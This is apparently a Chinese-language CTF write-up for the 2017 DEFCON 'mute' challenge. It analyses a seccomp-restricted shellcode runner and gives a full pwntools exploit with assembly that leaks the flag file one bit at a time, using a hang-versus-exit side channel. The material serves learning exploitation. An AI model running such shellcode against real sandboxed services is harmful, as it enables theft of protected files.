​ 侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法

image-20230605223341877 image-20230606182030547

https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute

​ 好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
int v5; // [rsp+14h] [rbp-Ch]
void *buf; // [rsp+18h] [rbp-8h]

v5 = 0;
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("SILENCE, FOUL DAEMON!");
v3 = _bss_start;
fflush(_bss_start);
dropSyscalls(v3);
while ( v5 != 4096 )
{
v3 = 0LL;
v5 += read(0, buf, 4096 - v5);
}
((void (__fastcall *)(FILE *))buf)(v3);
return 0;
}

​ 读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./mute
SILENCE, FOUL DAEMON!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019
0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018
0006: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0018
0007: 0x15 0x0a 0x00 0x00000003 if (A == close) goto 0018
0008: 0x15 0x09 0x00 0x00000004 if (A == stat) goto 0018
0009: 0x15 0x08 0x00 0x00000005 if (A == fstat) goto 0018
0010: 0x15 0x07 0x00 0x00000006 if (A == lstat) goto 0018
0011: 0x15 0x06 0x00 0x00000007 if (A == poll) goto 0018
0012: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0018
0013: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0018
0014: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0018
0015: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0018
0016: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0018
0017: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0019
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL

​ 诶 不是有execve吗,不能getshell吗

exp

​ 思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.update(arch='amd64', os='linux', log_level='ERROR') # 这个必须加,不然shellcraft没法正确识别指令集


flag = ""

for i in range(15): # flag的位数,不知道就可以多写点
c = 0 # 存储字符的ascii码
for j in range(8): # 一个字符8位 循环每一位
p = process("./mute")
p.readline()

shellcode = shellcraft.open("./flag",constants.O_RDONLY,None) # 打开文件
shellcode += pwnlib.shellcraft.amd64.mov("r8","rax") # 把句柄给r8
shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0) # lseek 读写文件偏移量,这个就是说,一个字节一个字节读,
shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1) # 把内容读取1字节,读到rsp上
shellcode += '''
movzx eax, BYTE PTR [rsp] #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax
movsx edx,al # 把要比较的字符放到edx中
mov eax,%s #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位
mov ecx,eax # 把变量放到ecx
sar edx,cl # 右移 cl位
mov eax,edx
and eax,1
test eax,eax # and运算、测试是1还是0
je .L2 # jz的别名,如果是0,跳转L2
.L3:
jmp .L3
.L2:
leave
ret
''' % j # 这个是填充%s变量的
shellcode = asm(shellcode)
p.send(shellcode+b"\0"*(0x1000-len(shellcode)))
try:
p.recv(timeout=1) # 1,移位然后或,把新的一位设置为1
c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110
except EOFError: # 0 , leave ret后EOFError
c = c>>1
sys.stdout.write(chr(c))
flag += chr(c)
sys.stdout.flush()
print(flag)

汇编分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* open(file='flag', oflag=0, mode=0) */
/* push b'flag\x00' */
push 0x67616c66
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
mov r8, rax # 返回值,句柄,
/* lseek(fd='r8', offset=0, whence=0) 这是第一次,偏移为0*/
mov rdi, r8
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call lseek() */
push SYS_lseek /* 8 */
pop rax
syscall
/* call read('r8', 'rsp', 1) */
xor eax, eax /* SYS_read */
mov rdi, r8
push 1
pop rdx
mov rsi, rsp
syscall # 系统调用号是0 前面xor即可

movzx eax, BYTE PTR [rsp]
movsx edx, al
mov eax, 0
mov ecx, eax
sar edx, cl
mov eax, edx
and eax, 1
test eax, eax
je .L2
.L3:
jmp .L3
.L2:
leave
ret

调试

调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试

接收字符分析

1
2
3
4
5
try:
p.recv(timeout=1) # 收到消息了,是1,移位然后或,把新的一位设置为1
c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110
except EOFError: # 0
c = c>>1

​ 以接收f的过程为例, f是 0b01100110

1
2
3
4
5
6
7
8
9
10
root@vultr:~/side# python3 1.py
0b0
0b10000000
0b11000000
0b1100000
0b110000
0b10011000
0b11001100
0b1100110
f

​ 上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位

0b00000000
0b10000000
0b11000000
0b01100000
0b00110000
0b10011000
0b11001100
0b01100110

​ 刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?

​ 嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.

留的小尾巴

了解一下怎么调试汇编吧..直接编写汇编代码调试

还没用时间侧信道来做呢…